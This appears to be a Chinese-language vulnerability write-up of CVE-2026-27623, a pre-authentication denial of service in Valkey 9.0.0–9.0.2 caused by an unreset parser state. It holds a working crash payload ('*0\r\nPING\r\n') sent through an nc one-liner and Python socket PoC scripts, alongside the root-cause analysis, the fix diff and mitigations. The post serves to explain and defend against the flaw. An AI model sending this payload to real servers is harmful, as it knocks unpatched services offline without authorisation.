跳过正文

CVE-2026-27623 Pre-Authentication DOS from malformed RESP request

作者
杨全烨
系统软件:操作系统、网络与分布式系统。
目录

CVE-2026-27623 — Pre-Authentication DOS from malformed RESP request
#

Valkey 预认证拒绝服务 | RESP 协议状态机 | CVSS 3.1: 7.5 HIGH | CWE-20 | 无需认证 | 复现步骤

Valkey(Redis 系开源分支)在处理畸形 RESP 请求时,未在「空 multibulk」路径上重置 reqtype。攻击者只要建立一条 TCP 连接并 pipeline 发送 *0\r\nPING\r\n,即可让 networking.c 中断言失败,整个 valkey-server 进程退出。无需事先登录或复杂握手。


漏洞速览
#

项目 内容
CVE 编号 CVE-2026-27623
漏洞代号 Pre-Authentication DOS from malformed RESP request
漏洞类型 远程拒绝服务(断言失败导致进程 abort);认证前即可触发
CVSS 3.1 7.5 HIGH(GitHub Advisory:AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-20(不当输入校验)
影响组件 valkey-server;解析逻辑集中于 src/networking.cprocessInputBuffer / parseMultibulk / handleParseResults 等)
发现方 NVIDIA Networking Security(Daniel Bransky、Eliya Cohen;见官方 GHSA Credits)
披露与修复 GitHub Security Advisory GHSA-93p9-5vc7-8wgr(2026-02-23);补丁提交 2c311dd7173
利用条件 能访问目标 Valkey 监听端口;单次发送字节序列 *0\r\nPING\r\n(同一 TCP 缓冲区内 pipeline)

受影响范围
#

Valkey 版本
#

官方公告写明(以 GHSA 文本为准;页面中 => 理解):

受影响:Valkey ≥ 9.0.0 且 ≤ 9.0.2
已修复:9.0.3 及以上

本目录 PoC 与源码走读默认基于 9.0.2 标签。若需对照修复后行为,可切换到 9.0.3 或已包含 2c311dd 的分支。

其它说明
#

项目 说明
Redis 主线 本 CVE 与 PoC 针对 Valkey;其它派生若合并相同解析逻辑,以其各自安全公告为准。
暴露面 与常规内存数据库部署相同:对不可信网络暴露的未打补丁实例可被单包 DoS。实验环境建议使用非常用端口并避免公网监听。

根因分析
#

首先你需要了解Redis使用的RESP协议。

系统和网络设计的角度来看,RESP 是一个非常经典的协议案例。它既具备类似 HTTP 的人类可读性,又拥有接近二进制协议的高解析效率。它的核心设计哲学是:基于前缀字节来区分数据类型,并严格使用 \r\n (CRLF) 作为数据帧的边界

比如:

*2\r\n # 发送一个长度为2的数组
$3\r\n # 这是第一个元素,长度为3 就是foo字符串的长度。
foo\r\n
$3\r\n # 这是第二个元素,长度也为3。
bar\r\n

我们注入的原始字节(ASCII 视图,无空格):

*0\r\nPING\r\n
  • *0\r\n:RESP2 的 Array header,元素个数为 0(没有 $… 参数行)。对服务器来说,这是一条「multibulk 个数为 0」的请求头。
  • PING\r\n:这是 RESP/Telnet 风格的 inline 命令(整行即命令,不以 * 开头)。

漏洞的本质是:第一段按「multibulk 已结束」特殊处理掉之后,客户端状态仍被当成「下一段还是 multibulk」(这里就是状态机的漏洞所在),于是第二段以 P 开头时,解析器仍按「新数组必须以 * 开头」去断言,直接crash。

1.入口:读进 querybuf 并进入处理循环
#

这里具体需要查看valkey 9.0.2 源码的networking.c部分,我们仅分析部分重要代码块。

  1. nc 连上后,内核把整段 *0\r\nPING\r\n 交给 read(2)
  2. readQueryFromClientreadToQueryBuf 把数据追加到 c->querybufhandleReadResult 成功后调用 processInputBuffer(见 readQueryFromClient 附近对 processInputBuffer 的调用)。
void readQueryFromClient(connection *conn) {
    client *c = connGetPrivateData(conn);
    /* Check if we can send the client to be handled by the IO-thread */
    // 这里是否启用了IO线程都没有影响
    if (postponeClientRead(c)) return;

    if (c->io_write_state != CLIENT_IDLE || c->io_read_state != CLIENT_IDLE) return;

    bool repeat = false;
    int iter = 0;
    do {
        bool full_read = readToQueryBuf(c);
        if (handleReadResult(c) == C_OK) {
            // 就是处理输入的缓冲区
            if (processInputBuffer(c) == C_ERR) return;
            ......

主循环在 processInputBuffer:清 read_flags、必要时 parseInputBuffer、再 handleParseResults

int processInputBuffer(client *c) {
    /* Parse the query buffer and/or execute already parsed commands. */
    while ((c->querybuf && c->qb_pos < sdslen(c->querybuf)) ||
           c->cmd_queue.off < c->cmd_queue.len) {
        if (!canParseCommand(c)) {
            break;
        }

        c->read_flags = isReplicatedClient(c) ? READ_FLAGS_REPLICATED : 0;
        c->read_flags |= authRequired(c) ? READ_FLAGS_AUTH_REQUIRED : 0;

        /* If commands are queued up, pop from the queue first */
        if (!consumeCommandQueue(c)) {
            // 这里进行输入缓冲区的解析
            parseInputBuffer(c);
            prepareCommandQueue(c);
        }

        /* Prefetch keys for the next commands in queue, if not already done. */
        prefetchCommandQueueKeys(c);

        if (handleParseResults(c) != PARSE_OK) {
            break;
        }

要点:一次 read 里可以带多条「逻辑请求」;第一段不产生可执行命令(argc == 0)时,循环会 continue,同一 buffer、同一连接上立刻再解析后面剩余字节。

2.第一次解析:认出 multibulk,并消费 *0\r\n
#

2.1 选择「下一条是 multibulk 还是 inline」
#

parseInputBuffer 里:只有 c->reqtype == 0 时才看首字节决定协议类型:

void parseInputBuffer(client *c) {
    /* The command queue must be emptied before parsing. */
    serverAssert(c->cmd_queue.len == 0);

    /* Determine request type when unknown. */
    if (!c->reqtype) {
        if (c->querybuf[c->qb_pos] == '*') {
            c->reqtype = PROTO_REQ_MULTIBULK;
        } else {
            c->reqtype = PROTO_REQ_INLINE;
        }
    }

    if (c->reqtype == PROTO_REQ_INLINE) {
        parseInlineBuffer(c);
    } else if (c->reqtype == PROTO_REQ_MULTIBULK) {
        parseMultibulkBuffer(c);
    } else {
        serverPanic("Unknown request type");
    }
}

新连接上 reqtype == 0qb_pos == 0,首字节是 *,于是 c->reqtype 被设为 PROTO_REQ_MULTIBULK,进入 parseMultibulkBufferparseMultibulk

2.2 解析 *0\r\n:把读指针挪到 P,并打上「零/负 multibulk」标志
#

那么接下来我们走进 parseMultibulkBufferparseMultibulk来进一步分析:

parseMultibulk 里,当 c->multibulklen == 0 时,表示「要开始读新的 *<n>\r\n 行」:

  1. memchr\r,确认有完整一行。
  2. 断言当前位置必须是 *(正常 RESP 数组总是如此,见下方代码最后的断言).
  3. 解析出 ll == 0,把 qb_pos 移到该行 CRLF 之后(即指向 P),然后 直接返回 READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN.
static int parseMultibulk(client *c,
                          int *argc,
                          robj ***argv,
                          int *argv_len,
                          size_t *argv_len_sum,
                          unsigned long long *net_input_bytes_curr_cmd) {
    char *newline = NULL;
    int ok;
    long long ll;
    int is_replicated = c->read_flags & READ_FLAGS_REPLICATED;
    int auth_required = c->read_flags & READ_FLAGS_AUTH_REQUIRED;
	// 这条 multibulk 头表示 0 个参数,本条逻辑命令结束
    if (c->multibulklen == 0) {
        /* The client (argc) should have been reset */
        serverAssertWithInfo(c, NULL, *argc == 0);

        /* Multi bulk length cannot be read without a \r\n */
        newline = memchr(c->querybuf + c->qb_pos, '\r', sdslen(c->querybuf) - c->qb_pos);
        if (newline == NULL) {
            if (sdslen(c->querybuf) - c->qb_pos > PROTO_INLINE_MAX_SIZE) {
                return READ_FLAGS_ERROR_BIG_MULTIBULK;
            }
            return 0;
        }

        /* Buffer should also contain \n */
        if (newline - (c->querybuf + c->qb_pos) > (ssize_t)(sdslen(c->querybuf) - c->qb_pos - 2)) return 0;

        /* We know for sure there is a whole line since newline != NULL,
         * so go ahead and find out the multi bulk length. */
        serverAssertWithInfo(c, NULL, c->querybuf[c->qb_pos] == '*');
        ......
        c->qb_pos = (newline - c->querybuf) + 2;

        if (ll <= 0) {
            return READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN;
        }
        ......

parseMultibulkBuffer 把返回值 |=c->read_flags,然后返回:

void parseMultibulkBuffer(client *c) {
    int flag = parseMultibulk(c, &c->argc, &c->argv, &c->argv_len,
                              &c->argv_len_sum, &c->net_input_bytes_curr_cmd);
    c->read_flags |= flag;
    ......

3. handleParseResults:认为「本条已处理完」,但忘了清 reqtype
#

handleParseResults 看到 READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN,走「multibulk 可能见到 <=0 长度」分支:只 resetClient,然后 PARSE_OK

/* This function is called after the query-buffer was parsed.
 * It is used to handle parsing errors and to update the client state.
 * The function returns C_OK if a command can be executed, otherwise C_ERR. */
parseResult handleParseResults(client *c) {
......
			if (c->read_flags & READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN) {
        			/* Multibulk processing could see a <= 0 length. */
        			resetClient(c);
                    return PARSE_OK;
               }
......
}

那么关键在这里,resetClient 主要清理 argv / 一些命令相关标志,不会把c->reqtype 置回 0。

于是在 CVE 存在版本(9.0.0–9.0.2) 里,第一次解析结束后仍满足:

  • c->reqtype == PROTO_REQ_MULTIBULK(第一次进 parseInputBuffer 时设的)
  • c->qb_pos 已指向 PING\r\nP,缓冲区里还有未消费数据。

4. processInputBuffer 第二轮:argc == 0 时继续循环
#

第一次解析没有形成可执行命令(argc == 0),processInputBuffer 在后面的分支里会 continue,只要 qb_pos < sdslen(querybuf) 就会再跑一轮 parseInputBuffer

int processInputBuffer(client *c) {
    /* Parse the query buffer and/or execute already parsed commands. */
    while ((c->querybuf && c->qb_pos < sdslen(c->querybuf)) ||
           c->cmd_queue.off < c->cmd_queue.len) {
        ......
    }

5. 第二次解析:仍按 multibulk,首字节却是 P → 断言触发
#

第二轮调用 parseInputBuffer 时,在 未修复 情况下 c->reqtype 仍为 PROTO_REQ_MULTIBULK,于是 不会执行 if (!c->reqtype) { ... } 这段「根据 * / 非 * 重选协议」的逻辑,再次进入 parseMultibulk → 又因 multibulklen == 0,代码认为「要开始读下一条 *<n>\r\n 行」,再次执行:

serverAssertWithInfo(c, NULL, c->querybuf[c->qb_pos] == '*');

此时,我们便迎来了这个断言错误。

此时 c->querybuf[c->qb_pos] == 'P'PING 的首字母),不等于 *serverAssertWithInfo 失败,进程按 assert 配置 abort —— 这就是你用 *0\r\n pipeline 接上 PING\r\n(inline) 时触发的典型路径。

6.简单总结整个触发流程
#

步骤 缓冲区语义 关键状态
读入 *0\r\nPING\r\n 全在 querybuf reqtype=0
第一次 parseInputBuffer *,走 multibulk reqtype=MULTIBULK
parseMultibulk 消费 *0\r\nqb_posP 返回 READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN
handleParseResults resetClient,旧版不清 reqtype reqtype 仍为 MULTIBULK
第二次 parseInputBuffer 跳过类型检测 仍走 parseMultibulkBuffer
parseMultibulk 以为新行应以 * 开头 qb_pos 处是 P → 3528 行断言失败

利用机制
#

攻击面与前置条件
#

  1. 网络可达:攻击者与 valkey-server 建立 TCP 连接即可(PoC 为明文端口;若前有 TLS 终止,则攻击面在能改写发往 Valkey 的字节流处)。
  2. 无需认证:崩溃发生在协议解析阶段,早于命令执行与 ACL 判定。
  3. 低交互:单连接、短载荷;利用「一次 read 内多段解析」与错误保留的 reqtype 组合触发断言。

载荷语义
#

片段 协议角色
*0\r\n RESP2 数组头,元素个数为 0;解析后不形成可执行命令(argc == 0
PING\r\n 以 inline 风格解析的命令行(整行即命令,不以 * 开头)

第一段按 multibulk 的「零长度」路径返回后,旧版未将 c->reqtype 置回 0,第二段本应按 inline 重新判别,却仍走 multibulk,最终在 parseMultibulk 中对「新数组行必须以 * 开头」的断言上崩溃。状态机细节见上文 根因分析

与本仓库 PoC 的对应关系
#

文件 说明
exploit/exp.py 使用 socket 向默认 127.0.0.1:16379 发送 *0\r\nPING\r\n,与下文 复现步骤 中 Python 片段等价。

复现步骤
#

1. 准备环境
#

  1. 单独目录或容器(避免误伤本机其它 Redis/Valkey)。
  2. 检出受影响标签并干净编译(从别的分支切过来时强烈建议先清构建产物,避免缺头文件之类错误):
git fetch --tags
git checkout 9.0.2 # 在本次受影响的范围之内
make distclean && make -j"$(nproc)"
  1. 用非常用端口起实例,并关保护(仅实验环境):
./src/valkey-server --port 16379 --protected-mode no

另开一个终端做发包;或用 --daemonize yes + pidfile 自行管理。

2. 主复现:一条 TCP 里 pipeline 两段
#

要发送的原始字节序列(十六进制):

2a 30 0d 0a 50 49 4e 47 0d 0a

即 ASCII:*0\r\nPING\r\n(中间不要多余空格)。

2.1 用 nc
#

printf '*0\r\nPING\r\n' | nc -w 2 127.0.0.1 16379

在 9.0.2 上的典型现象: valkey-server 进程 直接退出(或日志里出现 assert);nc 可能读不到正常 +PONG,连接被对端关掉。

会触发对应的断言错误:

=== VALKEY BUG REPORT START: Cut & paste starting from here ===
190361:M 22 May 2026 16:06:10.113 # === ASSERTION FAILED CLIENT CONTEXT ===
190361:M 22 May 2026 16:06:10.113 # client->flags = 108086391056891904
190361:M 22 May 2026 16:06:10.113 # client->conn = fd=10
190361:M 22 May 2026 16:06:10.113 # client->argc = 0
190361:M 22 May 2026 16:06:10.113 # === RECURSIVE ASSERTION FAILED ===
190361:M 22 May 2026 16:06:10.113 # ==> networking.c:3528 'c->querybuf[c->qb_pos] == '*'' is not true

在 9.0.3+(或含修复的 unstable)上的典型现象: 进程不崩;你可能先看到对 *0 一节的处理结果(若有输出),随后对 PING+PONG 或 RESP3 等价响应(具体格式取决于是否已 HELLO)。

2.2 用本仓库脚本(exploit/exp.py
#

在克隆后的本漏洞目录下执行(默认连接 127.0.0.1:16379,与上文 --port 一致;若目标为其它主机或端口,请编辑脚本内 host / port):

cd "CVE-2026-27623 Pre-Authentication DOS from malformed RESP request"
python3 exploit/exp.py

在受影响版本上,常见输出为 recv: b''connection reset(服务端已 abort);与 2.1 节现象一致。

2.3 内联 Python(与 exp.py 等价)
#

import socket

host, port = "127.0.0.1", 16379
payload = b"*0\r\nPING\r\n"
with socket.create_connection((host, port)) as s:
    s.sendall(payload)
    try:
        print("recv:", s.recv(4096))
    except ConnectionResetError as e:
        print("connection reset (common if server aborted):", e)

修复方案
#

上游修复(推荐)
#

根因是 READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN 等路径在 resetClient 后未将 reqtype 清零,导致同缓冲区内后续 inline 数据仍按 multibulk 解析。上游在 handleParseResults 相关分支中补充 c->reqtype = 0,并增加回归测试(见 tests/unit/protocol.tcl)。

  • 补丁提交valkey-io/valkey@2c311dd7173(2026-02-23)
  • 发行版:升级到 Valkey ≥ 9.0.3(或各发行版已 backport 该补丁的软件包)。

关键 diff(摘录)
#

@@ -3096,12 +3096,14 @@ parseResult handleParseResults(client *c) {
        /* in case the client's query was an empty line we will ignore it and proceed to process the rest of the buffer
         * if any */
        resetClient(c);
        c->reqtype = 0;
        return PARSE_OK;
    }

    if (c->read_flags & READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN) {
        /* Multibulk processing could see a <= 0 length. */
        resetClient(c);
        c->reqtype = 0;
        return PARSE_OK;
    }

临时缓解
#

在无法立即升级时,通过 网络隔离(防火墙、Kubernetes NetworkPolicy、云安全组等)将 Valkey 监听端口限制在可信网段;公告亦建议仅向可信用户开放访问。上述手段可降低被利用概率,不能替代版本升级。


时间线
#

日期 事件
2026-02-23 上游提交修复 2c311dd7173handleParseResults 中重置 reqtypetests/unit/protocol.tcl 增加回归用例)
2026-02-23 GitHub 发布 Security Advisory GHSA-93p9-5vc7-8wgr

CVE 在 MITRE / NVD 中的登记日期与评分向量以后续官方同步为准。


参考资料
#

来源 链接
GitHub Security Advisory https://github.com/valkey-io/valkey/security/advisories/GHSA-93p9-5vc7-8wgr
上游修复提交 https://github.com/valkey-io/valkey/commit/2c311dd7173ffc715a3d61266fdede6096a097de
Valkey 仓库 https://github.com/valkey-io/valkey
  • 报告方:NVIDIA Networking Security(Daniel Bransky、Eliya Cohen;见 GHSA Credits)
  • 本文档链接核对日期:2026-05-22